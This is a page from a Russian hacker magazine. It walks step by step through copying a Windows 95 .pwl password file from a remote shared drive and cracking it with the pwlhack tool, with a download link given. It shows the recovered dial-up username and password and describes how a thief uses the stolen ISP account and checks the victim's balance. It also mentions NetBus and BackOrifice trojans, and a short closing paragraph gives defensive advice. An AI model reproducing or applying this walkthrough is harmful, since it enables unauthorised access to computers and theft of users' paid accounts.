Ты должен знать, как тебя хакают!

Jaguar

Спецвыпуск хакер, номер #001, стр. 001-096-2

Том в устройстве Е не имеет метки

Серийный номер тома: 2247-15D0

Содержимое каталога Е:

WIN95 11-30-98 6:48p WIN95

0 файл(а,ов) 0 байт

1 каталог(а,ов) 287,997,952 байт свободно

Дальше следуют команды:

E:>cd win95

E:WIN95>dir *.pwl

Том в устройстве Е не имеет метки

Серийный номер тома: 2247-15D0

Содержимое каталога Е:WIN95

ANDREY PWL 730 02-05-99 10:31p ANDREY.PWL

1 файл(а,ов) 730 байт

0 каталог(а,ов) 287,997,952 байт свободно

E:WIN95>copy andrey.pwl c:hackingpwlhack

Теперь, после копирования файла с расширением .pwl, хакеру нужно отсоединиться от этого компьютера. Он открывает иконку «Мой компьютер», выбирает иконку E:121.31.21.87C, нажав правую кнопку мыши. Там жмет «Отсоединить». Что теперь? А теперь он берет программу pwlhack (http://newdata2.box.sk/neworder /crackpwd/pwlhck32.rar) и с помощью нее расшифровывает добытый файл andrey.pwl.

C:HACKINGPWLHACK>pwlhack.exe /list andrey.pwl andrey

(C) 17-Apr-1998y by Hard Wisdom «PWL’s Hacker» v3.0 (1996,97,98)

Enter the password:

File ‘ANDREY.PWL’ has size 730 bytes,

version [NEW_Win95_OSR/2]

for user ‘ANDREY’ with password ‘’ contains:

[Type]-[The resource location string]

[Password]-

Dial X *RnaСоединение с lamerisheL5tRe fsa3Xfa12

Indexed Entryes: 1; Number of resources: 1.

Настает кульминационный момент! Итак, теперь с помощью аккаунта, добытого у «чайника», хакер может лазить по просторам всемирной паутины Интернет. А вот и сам аккаунт:

Имя пользователя: L5tRe

Пароль: fsa3Xfa12

Если у данного провайдера можно посмотреть статистику прямо из Интернета, то обычно хакеры посещают сайт провайдера (в нашем примере www.lamerishe.ru) и смотрят, сколько осталось денег на счету у пользователя и в какое время он обычно находится в Интернете. Кстати, телефоны модемных пулов также можно узнать на сайте у провайдера. :)

Существует еще несколько иных способов, таких как использование троянов Netbus1.0, Netbus Pro 2.0, BackOrifice и т.д. Самый простой из всех способов заключается в том, что, зная IP-адрес с открытыми сетевыми ресурсами, можно соединиться с компьютером, нажав на Пуск, выбрав «Поиск компьютера» и указав IP-адрес.

«Все. Систему я понял. Теперь объясни-ка мне, как устранить лазейку и защитить себя от непрошеных гостей?» — скажешь ты. Хорошо. Для защиты от описанной выше дырки тебе будет необходимо отключить привязку (службу доступа к файлам и принтерам) от контроллера удаленного доступа (лезь в «Панель управления» -> «Сеть»), а в Windows NT нужно запретить службу Server в Remote Access WAN Wrapper. Но от НетБаса, БэкОрифиса и подобных троянов это тебя не спасет. А вот чтобы не подхватить трояна, во-первых, никогда не подпускай никого к своему компьютеру со всякими дискетками, а, во-вторых, никогда не запускай у себя на компе никаких прог, в которых ты хоть на грамм сомневаешься. Последним хакерским способом по рассылке троянов был массовый спамминг с хоста microsoft.com, где в каждом письме лежал якобы патч к 4-му IE. Ну а что этот «патч» делал, я думаю, ты уже догадался. :)

Назад на стр. 001-096-1  Содержание

ttfb: 2.6509761810303 ms